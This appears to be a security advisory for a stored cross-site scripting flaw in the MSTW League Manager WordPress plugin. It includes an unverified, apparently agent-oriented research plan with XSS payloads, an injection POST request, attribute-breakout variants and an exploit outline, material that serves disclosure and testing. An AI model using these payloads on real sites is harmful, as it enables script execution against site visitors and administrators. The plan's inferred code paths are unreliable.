CVE-2026-34890

MSTW League Manager <= 2.10 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The MSTW League Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.10
PublishedApril 2, 2026
Last updatedApril 2, 2026
Affected pluginmstw-league-manager
Research Plan
Unverified

As the source files for **MSTW League Manager 2.10** were not provided, this research plan is based on the vulnerability description, common patterns found in the MSTW plugin suite, and standard WordPress security research methodologies. Identifiers and code paths are **(inferred)** based on typical…

Show full research plan

As the source files for MSTW League Manager 2.10 were not provided, this research plan is based on the vulnerability description, common patterns found in the MSTW plugin suite, and standard WordPress security research methodologies. Identifiers and code paths are (inferred) based on typical plugin architecture and must be verified by the agent upon initial inspection of the environment.


1. Vulnerability Summary

The MSTW League Manager plugin (<= 2.10) contains a Stored Cross-Site Scripting (XSS) vulnerability. It allows authenticated users with Contributor-level permissions or higher to inject arbitrary JavaScript into pages. This occurs because the plugin fails to sufficiently sanitize user-supplied input (likely via shortcode attributes or custom post meta) before storing it in the database and fails to escape the data when rendering it on the frontend.

2. Attack Vector Analysis

  • Authentication Level: Contributor (Authenticated).
  • Vulnerable Component: Shortcode rendering or Custom Post Type (CPT) metadata processing.
  • Endpoint: wp-admin/post.php (via the post editor) or wp-admin/admin-ajax.php.
  • Payload Carrier: Shortcode attributes (e.g., title, league, season) or Post Meta fields associated with Leagues, Teams, or Players.
  • Preconditions: The attacker must be able to create or edit a post/page (standard Contributor capability) or access a specific plugin CPT editor if permissions are misconfigured.

3. Code Flow (Inferred)

  1. Entry Point: A Contributor creates a new post and inserts a plugin shortcode (e.g., [mstw-league-standings]) or edits a plugin-specific Custom Post Type (e.g., mstw_league).
  2. Processing:
    • If via Shortcode: The rendering function is registered via add_shortcode().
    • If via Post Meta: The saving logic is handled in a save_post hook or an AJAX handler.
  3. Sink (Rendering): On the frontend, the plugin retrieves the stored attributes or meta values. A rendering function (e.g., mstw_league_standings_display()) outputs these values directly using echo or printf without applying esc_html(), esc_attr(), or wp_kses().
  4. Execution: When any user (including an Administrator) views the page containing the shortcode or the specific CPT, the JavaScript payload executes in their browser context.

4. Nonce Acquisition Strategy

If the vulnerability is exploited via a shortcode in a standard WordPress post, the primary nonce required is the standard WordPress post nonce (_wpnonce), which is handled by the browser when saving a post.

If the vulnerability is in a plugin-specific settings page or AJAX handler:

  1. Identify the Script Variable: Search for wp_localize_script in the plugin directory to find the JavaScript object containing the nonce.
    • Command: grep -r "wp_localize_script" .
  2. Locate the Trigger Shortcode: Find the shortcode that enqueues the plugin scripts.
    • Command: grep -r "add_shortcode" .
  3. Extraction Steps:
    • Create a post with the identified shortcode: wp post create --post_type=page --post_status=publish --post_content='[inferred_shortcode_name]'.
    • Navigate to the page using browser_navigate.
    • Extract the nonce: browser_eval("window.mstw_league_vars?.nonce") (Replace mstw_league_vars with the actual JS object name found during grep).

5. Exploitation Strategy

This strategy focuses on the most likely vector for Contributors: Shortcode Attribute Injection.

  1. Step 1: Discovery:
    • List all registered shortcodes: grep -r "add_shortcode" .
    • Inspect the rendering functions for those shortcodes. Look for echo $atts['attribute_name'] or similar unescaped outputs.
  2. Step 2: Payload Crafting:
    • Target attribute: title (common in MSTW shortcodes).
    • Payload: [mstw-league-standings title='<script>alert(document.domain)</script>']
  3. Step 3: Injection:
    • Use the http_request tool to log in as a Contributor.
    • Create a new post containing the payload.
    • Request: POST /wp-admin/post.php
    • Body: post_title=XSS+Test&content=[mstw-league-standings+title%3D'<script>alert(1)<\/script>']&publish=Publish&post_type=post&_wpnonce=[NONCE]
  4. Step 4: Execution:
    • Identify the URL of the created post.
    • Navigate to the URL as an Administrator to trigger the stored XSS.

6. Test Data Setup

  1. User Creation: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Setup: Ensure the plugin is active.
  3. Optional Content: If the shortcode requires an existing league ID to render, create a dummy league first:
    • wp post create --post_type=mstw_league --post_title="Test League" --post_status=publish

7. Expected Results

  • The POST request to post.php returns a 302 redirect to the post editor, indicating the content was saved.
  • The database table wp_posts contains the raw <script> tag in the post_content for that post ID.
  • When navigating to the frontend URL of the post, the browser executes the alert(document.domain) script.

8. Verification Steps

  1. Database Check:
    • wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
    • Verify the content contains the unescaped script tag.
  2. Frontend Rendering Check:
    • Use http_request (GET) on the post URL.
    • Check if the response body contains the raw payload: grep "<script>alert(document.domain)</script>"

9. Alternative Approaches

  • CPT Metadata Injection: If the plugin uses a custom interface to save League/Team details, use grep -r "update_post_meta" to find where metadata is saved. If no current_user_can check exists or is weak, attempt to update the metadata directly via a POST request to the saving endpoint with a payload like "><script>alert(1)</script>.
  • CSS Injection: If script tags are stripped but attributes are reflected in a style tag, use: style="background-image: url('javascript:alert(1)')".
  • Attribute Breakout: If the payload is reflected inside an existing HTML attribute, use: " onmouseover="alert(1)".
Research Findings
Static analysis — not yet PoC-verified

Summary

The MSTW League Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 2.10 due to insufficient output escaping of shortcode attributes. Authenticated attackers with Contributor-level access can inject arbitrary scripts into posts that execute when viewed by other users.

Exploit Outline

1. Log in to the WordPress dashboard with Contributor-level credentials or higher. 2. Create a new post or edit an existing page where the plugin's shortcodes are supported. 3. Insert a plugin shortcode, such as [mstw-league-standings], and include a malicious JavaScript payload within one of its attributes (e.g., [mstw-league-standings title='<script>alert(document.domain)</script>']). 4. Publish or update the post. 5. Navigate to the published page as a different user (e.g., an Administrator). The injected script will execute in the victim's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.